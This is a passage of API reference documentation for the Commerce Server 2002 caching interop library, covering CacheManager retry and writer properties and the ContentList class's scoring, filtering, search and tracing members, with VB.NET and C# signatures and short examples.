Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class


CacheManager.RetryInterval Property (PIA)

The RetryInterval property is a read/write Integer that specifies the approximate number of seconds to wait before retrying to load the data cache after failing to load.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property RetryInterval(
 bstrName As String
) As Integer
[C#]

Get method:

using Microsoft.CommerceServer.Interop.Caching;
…
public int get_RetryInterval(
 string bstrName
);

Put method:

public void set_RetryInterval(
 string bstrName,
 int plRetry
);

Parameters

[Visual Basic .NET]
bstrName
A String that contains the name of a data cache for which the retry interval is being provided or retrieved.
[C#]
bstrName
A string that contains the name of a data cache for which the retry interval is being provided or retrieved.
plRetry
When setting the property, an int that contains the new retry interval value.

Return Values

When getting, an int with the retry interval.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

A retry interval value provides the number of seconds the CacheManager object should wait before retrying a failed cache refresh operation.

The default retry interval value is 60 (seconds).

The retry interval must be at least 1 (second).

[C#] The get_RetryInterval and set_RetryInterval methods do not show up in IntelliSense.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class


CacheManager.WriterConfig Property (PIA)

The WriterConfig property is a read/write reference to a Dictionary object that contains configuration information for the Writer component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property WriterConfig(
 bstrName As String
) As Object
[C#]

Get method:

using Microsoft.CommerceServer.Interop.Caching;
…
public object get_WriterConfig(
 string bstrName
);

Put method:

public void set_WriterConfig(
 string bstrName,
 object ppdispConfig
);

Parameters

[Visual Basic .NET]
bstrName
A String that contains the name of a data cache for which Writer component configuration information is being provided or retrieved.
[C#]
bstrName
A string that contains the name of a data cache for which Writer component configuration information is being provided or retrieved.
ppdispConfig
When setting the property, a Dictionary object that contains the Writer component configuration information.

Return Values

When getting, an object (typically a Dictionary) with the configuration.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This property, a Dictionary object containing configuration information for a particular Writer component, is passed to that Writer component when it is created to report results related to cache usage. When you set this property, the dictionary is shallow cloned and then the CacheManager object stores the clone of the dictionary. This is as opposed to simply storing a reference to the dictionary. Shallow clone means that scalars in the dictionary are copied by value, but other objects in the dictionary are copied by reference. The Writer component needs to implement the IPipelineComponentAdmin interface in order to read the configuration values from the dictionary, and in particular, the SetConfigData method of that interface. The Dictionary object identified by this property is passed to the created Writer component using the SetConfigData method.

[C#] The get_WriterConfig and set_WriterConfig methods do not show up in IntelliSense.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class


CacheManager.WriterProgId Property (PIA)

The WriterProgId property is a read/write String that contains the Programmatic Identifier (ProgID) of the component intended for use in populating the cache.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property WriterProgId(
 bstrName As String
) As String
[C#]

Get method:

using Microsoft.CommerceServer.Interop.Caching;
…
public string get_WriterProgId(
 string bstrName
);

Put method:

void set_WriterProgId(
 string bstrName,
 string ppstrProgId
);

Parameters

[Visual Basic .NET]
bstrName
A String that contains the name of a data cache for which the Writer component ProgID is being provided or retrieved.
[C#]
bstrName
A string that contains the name of a data cache for which the Writer component ProgID is being provided or retrieved.
ppstrProgId
When setting the property, a string that contains the ProgID of the Writer component.

Return Values

When getting, a string with the ProgID.

[C#]

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The get_WriterProgId and set_WriterProgId methods do not show up in IntelliSense.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class


ContentList Class (PIA)

Use this object to access a particular collection of content items. The ContentList object provides aggregated access to the private data that it stores, and to the shared data stored in the ContentListFactory object that created it. This object also flows through the Content Selection Framework (CSF) pipeline for the purpose of scoring content items.

Methods

Method | Description
AdjustScore | Adjusts the score associated with an item in the ContentList object by applying a multiplier.
BuildIndex | Builds an index on all rows based on the specified column.
Filter | Filters items in a ContentList object based on the specified criteria.
GetData | Gets data from a specified row and column in a ContentList object in a high-performance, non-scriptable manner. Not useable by Visual Basic .NET or C#.
GetScore | Gets the score of an item in a ContentList object.
Search | Returns a collection of content items that match the search criteria.
SetData | Sets data at a specified row and column in a ContentList object in a high-performance, non-scriptable manner. Not useable by Visual Basic .NET or C#.
SetScore | Sets the score of an item in a ContentList object.

Properties

Property | Type | Description
ActiveRows | IRowCollection | The collection of rows that meet the current Threshold and RowLimit properties and that have not been filtered out of the ContentList object. This property is read-only.
AllRows | IRowCollection | The collection of all rows in the ContentList object. This property is read-only.
Count | Integer | Stores the number of rows in the ContentList object. This property is read/write.
Factory | IContentListFactory | Stores a reference to the ContentListFactory object that created this ContentList object. This property is read-only.
Fields | ADODB26Lib.Fields | The Fields collection for a particular row in the ContentList object. This property is read-only.
RowLimit | Integer | Stores the maximum number of rows that can exist in the ActiveRows collection property. This property is read/write.
Sorted | Boolean | Stores a flag that controls whether or not the rows in the ActiveRows collection property are returned sorted by score. This property is read/write.
Threshold | Single | Stores the Threshold score that items must meet to be included in the ActiveRows collection property. This property is read/write.
TraceMessages | ISimpleList | Stores the list of TraceMessage strings accumulated for a particular row in the ContentList object. This property is read-only.
TraceMode | Boolean | Stores the TraceMode value. A value of True enables score tracing, a value of False disables it. This property is read/write.

Remarks

Both the ContentList object and the ContentListFactory object implement a common interface, IDataContainer. Therefore, they share the following methods and properties, which are functionally identical on both objects:

Properties:

  • AllRows
  • Count
  • Fields

Methods:

  • BuildIndex
  • Search

Both objects also expose the GetData and SetData methods. These are not intended for use with C#. Use the get_Fields method instead.

The function of a ContentList object is:

  • To aggregate private data in the ContentList object with shared data in the ContentListFactory object.
  • To provide functionality for scoring, searching, and filtering the list of content.

The ContentList object is a dependent object. Create a new ContentList object and obtain a IContentList interface by calling the method ContentListFactory.CreateNewContentList.

Important

  • The ContentList and the ContentListFactory objects are designed to be run in-process with their clients.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)


ContentList Methods (PIA)

Methods

Method | Description
AdjustScore | Adjusts the score associated with an item in the ContentList object by applying a multiplier.
BuildIndex | Builds an index on all rows based on the specified column.
Filter | Filters items in a ContentList object based on the specified criteria.
GetData | Gets data from a specified row and column in a ContentList object in a high-performance, non-scriptable manner. Not useable by Visual Basic .NET or C#.
GetScore | Gets the score of an item in a ContentList object.
Search | Returns a collection of content items that match the search criteria.
SetData | Sets data at a specified row and column in a ContentList object in a high-performance, non-scriptable manner. Not useable by Visual Basic .NET or C#.
SetScore | Sets the score of an item in a ContentList object.


ContentList.AdjustScore Method (PIA)

Use this method to adjust the score of an item in the ContentList object by applying a multiplier.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Sub AdjustScore(
 RowNum As Integer,
 Multiplier As Single,
 Optional Component As String,
 Optional Description As String
)
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public void AdjustScore(
 int RowNum,
 float Multiplier,
 string Component,
 string Description
);

Parameters

[Visual Basic .NET]
RowNum
An Integer that contains the position of the item in the ContentList object for which the score is to be adjusted. Positions are counted from zero (0), not from one (1).
Multiplier
A Single that contains the value by which the score will be multiplied.
Component
An optional String that contains an identifier for the pipeline component that is adjusting the score. By convention, this is the ProgID of the pipeline component.
Description
An optional String that contains a description to be appended to the score adjustment tracing string. This string should briefly describe the nature of the adjustment.
[C#]
RowNum
A int that contains the position of the item in the ContentList object for which the score is to be adjusted. Positions are counted from zero (0), not from one (1).
Multiplier
A float that contains the value by which the score will be multiplied.
Component
A string that contains an identifier for the pipeline component that is adjusting the score. By convention, this is the ProgID of the pipeline component. Set to Type.Missing to omit the component.
Description
A string that contains a description to be appended to the score adjustment tracing string. This string should briefly describe the nature of the adjustment. Set to Type.Missing to omit a description.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Values for the Component and Description parameters are optional, but at least one parameter must be passed. These parameters are ignored unless the TraceMode property is set to true.

This method assumes that the ContentList object has a column of type CLCOL_R4 with the CLCOL_SCORE_COLUMN flag set.

[Visual Basic .NET]

Example

myContentList.AdjustScore(1, 1.25)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentList.BuildIndex Method (PIA)

Use this method to build an index for a specific column in a ContentList object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Sub BuildIndex(
 vCol As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public void BuildIndex(
 object vCol
);

Parameters

[Visual Basic .NET]
vCol
An Object that identifies the column for which the index will be built. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
[C#]
vCol
An object that identifies the column for which the index will be built. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following standard COM error value has a particular meaning in the context of this method.

S_FALSE
An index already exists on the column.

Remarks

An index can be built on any read-only, non-private column that is of type string, integer, or array of strings or integers (CLCOL_READONLY and not CLCOL_PRIVATE). Also, only columns of type CLCOL_I2, CLCOL_I4, CLCOL_STRING, and CLCOL_VARIANTARRAY can be indexed. The non-private restriction means that the column will actually reside in the corresponding ContentListFactory object.

If a search is conducted on a column for which no index yet exists, the index is automatically created. This means that, although you are never required to call the BuildIndex method, you may want to incur the cost of creating the index at a known time for performance sake.

This method is functionally identical to the one of the same name in the ContentListFactory object.

[Visual Basic .NET]

Example

myDataContainer.BuildIndex(10)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentList.Filter Method (PIA)

Use this method to filter items in a ContentList object. Items that do not pass the filter have their scores set to zero (0).

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Sub Filter(
 vColumn As Object,
 vFilterCriteria As Object,
 FilterAction As FilterActionEnum,
 Optional Component As String
)
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public void Filter(
 object vColumn,
 object vFilterCriteria,
 FilterActionEnum FilterAction,
 string Component
);

Parameters

[Visual Basic .NET]
vColumn
An Object that identifies the column for which the index will be built. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
vFilterCriteria
An Object that contains the filter criterion. The criterion is either a single String, an array of Strings, or an Integer.
FilterAction
An enumeration value. Valid values are FILTER_REQUIRE and FILTER_EXCLUDE. See the Remarks section for more information about the consequences of these two actions.
Component
A String that is intended to contain the name of the pipeline component doing the filtering. This parameter is optional and is used for score tracing. Trace messages will be generated for content items that are filtered out.
[C#]
vColumn
A object that identifies the column upon which to filter. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
vFilterCriteria
A object that contains the filter criterion. The criterion is a single string, a System.Array of strings, or an int.
FilterAction
An enumeration value. Valid values are FILTER_REQUIRE and FILTER_EXCLUDE. See the Remarks section for more information about the consequences of these two actions.
Component
A string that is intended to contain the name of the pipeline component doing the filtering. This parameter is optional and is used for score tracing. To omit this parameter set to Type.Missing. Trace messages will be generated for content items that are filtered out.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

An item in the ContentList object matches the criteria if the value for the specified column exactly matches a string or number passed in the vFilterCriteria parameter. If the vFilterCriteria parameter is an array of strings, matching any one of the strings in the array is considered a match. If the FilterAction parameter is set to FILTER_REQUIRE, non-matching items have their scores set to zero (0). If the FilterAction parameter is set to FILTER_EXCLUDE, matching items have their scores set to zero (0).

For the sake of uniformity, the pipeline components provided with Commerce Server 2002 pass their own ProgID for the Component parameter.

[Visual Basic .NET]

Example

myContentList.Filter("Score", 3, FILTER_EXCLUDE)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentList.GetData Method (PIA)

This method gets data from a specified row and column in a ContentList object in a high-performance, non-scriptable manner.

[Visual Basic .NET] Due to performance considerations and compatibility issues, this method cannot be used with Microsoft Visual Basic .NET.

[C#] Due to performance considerations and compatibility issues, this method cannot be used with Microsoft C#.

Although the GetData method is part of the ContentList object, it is designed for use with COM and C++. Therefore, GetData is included here mainly to be consistent with the assembly description. To access the data in a ContentList object in C# or Visual Basic .NET, you can instead use one of the many other methods and properties associated with ContentList, such as the ContentList.ActiveRows property.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentList.GetScore Method (PIA)

Use this method to retrieve the score of an item in a ContentList object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Function GetScore(
 RowNum As Integer
) As Single
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public float GetScore(
 int RowNum
);

Parameters

[Visual Basic .NET]
RowNum
An Integer that contains the position of the item in the ContentList object for which the score will be returned. Positions are counted from zero (0), not from one (1).
[C#]
RowNum
A int that contains the position of the item in the ContentList object for which the score will be returned. Positions are counted from zero (0), not from one (1).

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Single that contains the score for the specified item.

[C#] This method returns a float containing the score for the specified item.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

'sngScore is a Single
sngScore = myContentList.GetScore(12)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentList.Search Method (PIA)

Use this method to create a RowCollection object that allows access to each item in the ContentList object that matches the specified criterion.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Function Search(
 vCol As Object,
 vSearchCriteria As Object
) As RowCollection
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public RowCollection Search(
 object vCol,
 object vSearchCriteria
);

Parameters

[Visual Basic .NET]
vCol
An Object that identifies the column to search. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
vSearchCriteria
An Object that contains the filter criterion. The criterion is usually a String, an array of Strings, or an Integer. An attempt will be made to coerce other types to the type of the column being searched.
[C#]
vCol
An object that identifies the column to search. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
vSearchCriteria
An object that contains the filter criterion. The criterion is usually a string, an array of strings, or an integer. The Search method will attempt to coerce other data types to the type of the column being searched.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a reference to a new object that implements the RowCollection interface that contains one row for each matching item.

[C#] This method returns an RowCollection interface pointer for a new RowCollection object that allows access to the rows that match the search criteria.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following standard COM error value has a particular meaning in the context of this method.

S_FALSE
No rows in the ContentList object matched the filter criteria. As a result, the returned RowCollection is empty.

Remarks

Columns must be shared (not private) and read-only in order to be indexed and searched. Columns must also be of type string, integer (int or short), or object array to be searchable. The search criteria may be any variant type that can be coerced to the type of the column being searched.

When the search criteria is an array of objects, the set of rows returned contains all rows that match any of the search criteria array elements. It is a union of the matches.

This property is functionally identical to the one of the same name in the ContentListFactory object.

[Visual Basic .NET]

Example

'myCol is a RowCollection object
myCol = myContentList.Search(10, "CarAds")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentList.SetData Method (PIA)

Sets data at a specified row and column in a ContentList object in a high-performance, non-scriptable manner.

[Visual Basic .NET] Due to performance considerations, this method cannot be used from Microsoft Visual Basic .NET.

[C#] Due to performance considerations and compatibility issues, this method cannot be used with Microsoft C#.

Although the SetData method is part of the ContentList object, it is designed for use with COM and C++. Therefore, SetData is included here mainly to be consistent with the assembly description. To access the data in a ContentList object in C# or Visual Basic .NET, you can instead use one of the many other methods and properties associated with ContentList, such as the ContentList.ActiveRows property.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentList.SetScore Method (PIA)

Use this method to set a new score for an item in a ContentList object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Sub SetScore(
 RowNum As Integer,
 Score As Single,
 Optional Component As String,
 Optional Description As String
)
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public void SetScore(
 int RowNum,
 float Score,
 string Component,
 string Description
);

Parameters

[Visual Basic .NET]
RowNum
An Integer that contains the position of the item in the ContentList object for which a new score will be set. Positions are counted from zero (0), not from one (1).
Score
A Single that contains the new score.
Component
A String that is intended to contain the name of the pipeline component that is setting the new score. This parameter is optional and is used for score tracing.
Description
A String that is intended to contain the reason that the score is being set; for example, Need of Delivery. This parameter is optional and is used for score tracing.
[C#]
RowNum
A int that contains the position of the item in the ContentList object for which a new score will be set. Positions are counted from zero (0), not from one (1).
Score
A float that contains the new score.
Component
A string that is intended to contain the name of the pipeline component that is setting the new score. This parameter is optional and is used for score tracing. To omit this parameter, set to Type.Missing.
Description
A string that is intended to contain the reason that the score is being set; for example, Need of Delivery. This parameter is optional and is used for score tracing. To omit this parameter, set to Type.Missing.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Values for the Component and Description parameters are optional, but at least one parameter must be passed.

This method assumes that the ContentList object has a column of type CLCOL_R4 with the CLCOL_SCORE_COLUMN flag set.

For the sake of uniformity, pipeline components provided with Commerce Server 2002 pass the ProgID of the component for the Component parameter.

[Visual Basic .NET]

Example

'strProgID is a string
myContentList.SetScore(123456, 0.5, strProgID, "")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentList Properties (PIA)

Properties

Property | Type | Description
ActiveRows | IRowCollection | The collection of rows that meet the current Threshold and RowLimit properties and that have not been filtered out of the ContentList object. This property is read-only.
AllRows | IRowCollection | The collection of all rows in the ContentList object. This property is read-only.
Count | Integer | Stores the number of rows in the ContentList object. This property is read/write.
Factory | IContentListFactory | Stores a reference to the ContentListFactory object that created this ContentList object. This property is read-only.
Fields | ADODB26Lib.Fields | The Fields collection for a particular row in the ContentList object. This property is read-only.
RowLimit | Integer | Stores the maximum number of rows that can exist in the ActiveRows collection property. This property is read/write.
Sorted | Boolean | Stores a flag that controls whether or not the rows in the ActiveRows collection property are returned sorted by score. This property is read/write.
Threshold | Single | Stores the Threshold score that items must meet to be included in the ActiveRows collection property. This property is read/write.
TraceMessages | ISimpleList | Stores the list of TraceMessage strings accumulated for a particular row in the ContentList object. This property is read-only.
TraceMode | Boolean | Stores the TraceMode value. A value of True enables score tracing, a value of False disables it. This property is read/write.


ContentList.ActiveRows Property (PIA)

The ActiveRows property returns a RowCollection object. This property is read-only; however, the RowCollection object is read/write. Changes made to the data within the RowCollection object are also reflected in the ContentList object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public ReadOnly Property ActiveRows As RowCollection
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public RowCollection ActiveRows {get; }
[C#]

Property Value

The RowCollection interface of a RowCollection object that allows access the set of active items in this ContentList object.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The ActiveRows RowCollection object allows access to the content items of the ContentList object whose score is greater than or equal to the current threshold score contained in the Threshold property. If the value of the Threshold property is set to a negative number, even items that have been filtered out by the Filter method might be included in the ActiveRows collection. This occurs because an item being filtered out has a score set to zero, which is still greater than a negative threshold value.

Regardless of the number of items with scores above the threshold, the number of items in the ActiveRows object is limited by the RowLimit property.

The order of the rows in the ActiveRows collection is undefined unless the Sorted property is set to True.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class

RowCollection Class


ContentList.AllRows Property (PIA)

The AllRows property returns a new RowCollection object that allows access to the items in the ContentList object and, through aggregation, the ContentListFactory object. The AllRows property is read-only; however, the RowCollection object is read/write. Changes made to the data in the RowCollection object are reflected in the ContentList object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public ReadOnly Property AllRows As RowCollection
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
IRowCollection  AllRows{get;}
[C#]

Property Value

The RowCollection interface of a RowCollection object that contains all of the items in this ContentList object.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This property is functionally identical to the one of the same name to be found in the ContentListFactory object.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class

RowCollection Class


ContentList.Count Property (PIA)

The Count property is a read/write Integer that gets or sets the number of items in a ContentList object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property Count As Integer
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public int Count {get; set;}

Property Value

An int that contains the item count.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Normally, the Count property is already fixed when a ContentList object is created by a ContentListFactory object. The property may only be set for ContentList objects that are created by a ContentListFactory object that has not yet had any content items stored in it. Also, the Count property cannot be set to a number smaller than the current setting.

This property is functionally identical to the one of the same name in the ContentListFactory object.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentList.Factory Property (PIA)

The Factory property is a read-only IContentListFactory interface of the ContentListFactory object that created this ContentList object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public ReadOnly Property Factory As ContentListFactory
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public ContentListFactory Factory {get;}

Property Value

The IContentListFactory interface of the ContentListFactory object that created this ContentList object.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentList.Fields Property (PIA)

The Fields property creates a new Fields object that allows access to the fields for a specified content item. The Fields property is read-only; however, the Fields object is read/write in that changes made using this object are reflected in the ContentList object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
Imports ADODB26Lib     ‘ for Fields
…
Public ReadOnly Property Fields(
 RowNum As Integer
) As Fields
[C#]
using Microsoft.CommerceServer.Interop.Caching;
using ADODB26Lib;                              //For Fields
…
public Fields get_Fields(
 int RowNum
);

Parameters

[Visual Basic .NET]
RowNum
An Integer that contains the position of the item in the ContentList object for which a Fields object will be returned. Positions are counted from zero (0), not from one (1).
[C#]
RowNum
An int that contains the position of the item in the ContentList object for which a Fields object will be returned. Positions are counted from zero (0), not from one (1).
[C#]

Return Values

[C#] This method returns an ADODB26Lib.Fields object for the specified row in the ContentList object.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[C#] The get_Fields method cannot be viewed in IntelliSense.

The Fields object exposes the same interface as the ActiveX Data Objects (ADO) Fields object.

This property is functionally identical to the one of the same name in the ContentListFactory object.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentList.RowLimit Property (PIA)

The RowLimit property is a read/write number that specifies the maximum number of rows that the object should select for the ActiveRows property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property RowLimit As Integer
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public int  RowLimit {get; set; }

Property Value

An Integer that specifies the row limit.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class

ContentList.ActiveRows


ContentList.Sorted Property (PIA)

The Sorted property is a read/write Boolean that determines whether or not the next enumeration of the ContentList object ActiveRows property will be returned in sorted order by score (highest to lowest).

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property Sorted As Boolean
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public bool  Sorted {get; set;}

Property Value

A bool that specifies whether or not to return the ActiveRows property in sorted order.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

A value of true indicates that the next enumeration of the ContentList object ActiveRows property should be returned in sorted order by score (highest to lowest). A value of false indicates that it will not be sorted. The items do not actually change positions in the list — that is, the ordinal identifying an item never changes. Setting the value to true only effects the next enumeration of the ActiveRows property, subsequent enumerations will be unsorted unless the property is set to true again.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentList.Threshold Property (PIA)

The Threshold property is a read/write floating point number. This number contains a threshold score that items must meet or exceed to be included in the ActiveRows collection property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property Threshold As Single
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public float  Threshold{get; set;}

Property Value

This value contains the new threshold score.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentList.TraceMessages Property (PIA)

The TraceMessages property is a SimpleList object that contains the list of trace strings that have accumulated for the given item in a ContentList object. The TraceMessages property is read-only; however, the returned SimpleList object is read/write.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
Imports Microsoft.CommerceServer.Interop     ‘ for ISimpleList
…
Public ReadOnly Property TraceMessages(
 RowNum As Integer
) As ISimpleList
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
ISimpleList get_TraceMessages(
 int RowNum
);

Parameters

[Visual Basic .NET]
RowNum
An Integer that contains the position of the row for which the trace messages will be returned. Row positions start at zero (0), not one (1).
[C#]
RowNum
A int that contains the position of the row for which the trace messages will be returned. Row positions start at zero (0), not one (1).

Return Values

[C#]

This method returns the ISimpleList interface of the SimpleList object that contains the trace messages.

The get_TraceMessages method cannot be viewed in IntelliSense.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The TraceMode property acts as a global switch to control whether any score tracing is performed. If it is set to True, score tracing is performed. If it is set to False, score tracing is suppressed.

When you use score tracing, you will notice a dramatic negative effect on performance; score tracing should not be used under normal circumstances. However, it can be useful when you are attempting to troubleshoot a scoring-related issue.

The list will be empty if the TraceMode property is set to False or if no score modifications have been made to the item.

Each item in the list is a string in the following format:

<component>,<operator><number>,<description>

Where the fields of the string are defined as follows:

component
The identifier of the component that made the score change, as passed to the AdjustScore, SetScore, and Filter methods.
operator
= if the score set to an absolute value by the SetScore or Filter methods, or * if a multiplier was applied to the score by the AdjustScore method.
number
The score returned by the SetScore method after any adjustments by the Filter or AdjustScore methods.
description
The reason for the score change, as passed to the AdjustScore or SetScore methods, and set by the Filter method.

An example score tracing string is:

"Commerce.AdNod,=0.9875,Need of Delivery".

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class

ContentList.TraceMode


ContentList.TraceMode Property (PIA)

The TraceMode property is a read/write Boolean that controls whether score tracing is enabled or suppressed.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property TraceMode As Boolean
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public bool TraceMode {get; set }

Property Value

[C#]

A bool used to return the current trace mode setting. A value of true enables score tracing. A value of false suppresses score tracing.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This property acts as a global switch to control whether or not score tracing is performed. If it is set to true, a SimpleList object of trace messages will be constructed that can be accessed through the TraceMessages property. If it is set to false, score tracing is suppressed.

When you use score tracing, you will notice a dramatic negative effect on performance; score tracing should not be used under normal circumstances. However, it can be useful when you are attempting to troubleshoot a scoring-related issue.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

ContentList Class


ContentListFactory Class (PIA)

